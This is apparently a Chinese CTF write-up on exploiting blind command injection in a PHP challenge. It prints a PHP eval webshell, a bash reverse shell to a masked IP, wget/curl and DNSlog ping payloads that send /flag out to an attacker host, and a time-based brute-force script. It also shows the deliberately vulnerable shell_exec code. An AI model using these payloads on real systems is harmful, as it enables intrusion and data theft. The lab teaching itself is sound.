命令执行是一种危害比较大的漏洞,但是遇到没有回显的命令执行时,就会比较尴尬。一是难以确认漏洞是否存在,二是难以获取信息。

下面讲述两种情况下无回显的命令执行的利用。

服务器联网

当服务器联网的时候,第一想法就是将信息传出或者写入shell。但是常常由于权限不够或其他限制而无法实现。

从一道比较简单的ctf题入手。
题目给出了源代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
/**
* Try to read /flag
*/
if(!isset($_REQUEST['command'])) {
show_source(__FILE__);
die();
}

$command = $_REQUEST['command'];
shell_exec('timeout 4 '.$command);
?>

可以看到存在shell_exec函数,很明显的命令执行漏洞。
一开始就想到写入webshell。
构造payload:

1
| echo '<?php @eval($_POST["jingzhe"]); ?>' > shell_jingzhe.php

访问发现404,可知当前目录无写入权限。
尝试反弹shell。
构造payload:

1
|bash -i >& /dev/tcp/**.**.**.**/1234 0>&1

反弹shell发现也无效。可知无法通过shell直接获取flag。
想了想是否可以通过构造http请求,从而将flag发送出来呢。
在vps上建立记录脚本:

1
2
3
4
5
6
7
<?php
$data =$_GET['jingzhe'];
echo $data;
$f = fopen("data.txt", "w");
fwrite($f,$data);
fclose($f);
?>

构造请求:

1
2
wget http://**.**.**.**/index.php?jingzhe=`cat /flag`
curl http://**.**.**.**/index.php?jingzhe=`cat /flag`

从服务器的记录上可以发现,http请求也被限制了或者无权限/没有wget/curl。
这样就很难将信息从服务器上发送出来,只能进行枚举,相当费时。

利用Google,查询到一种比较冷门但是非常实用的一种方法——DNSlog。
原理如下:
DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。

例如我们自己的域名是:jingzhe.name
那么我们把信息放在二级域名处,textxxxxxx.jingzhe.name
想方法发起这个域名解析请求,那么那边就能收到textxxxxxxx这个信息了。

此处推荐一个免费的DNSLOG平台:ceye.io

然后就可以构造ping请求,通过DNSlog获取到flag。
payload:

1
|ping -c 1 `cat /flag`.2mmfxc.ceye.io

获取到解析日志如下:

Flag:

1
flag{a46b7c31-d6fc-4655-81ea-f6ad02738a70}

服务器未联网

服务器未联网,无写入权限。无法getshell等一系列操作,只能通过枚举/二分查找暴力查询flag。

构造脚本遍历:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*-coding:utf-8 -*-
import requests
import re

flag_format = re.compile('flag\\{[0-9a-z]{8}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{12}\\}')
all_letter = '-}0123456789abcdefghijklmnopqrstuvwxyz'


def get_flag(command):
try:
r = requests.get('http://web.train.lilac.com:10008/', params={'command': command}, timeout=1.5)
except:
return True
return False


if __name__ == '__main__':
flag = 'flag{'
while flag_format.match(flag) == None:
staus = 0
for i in all_letter:
payload = '| cat /flag | grep %s && sleep 1.8' % (flag + i)
print(payload)
if get_flag(payload):
staus = 1
flag += i
print(flag)
break
if staus == 0:
flag = flag[0:-1]

由于只设置超时,会出现死循环,故加入自动修正。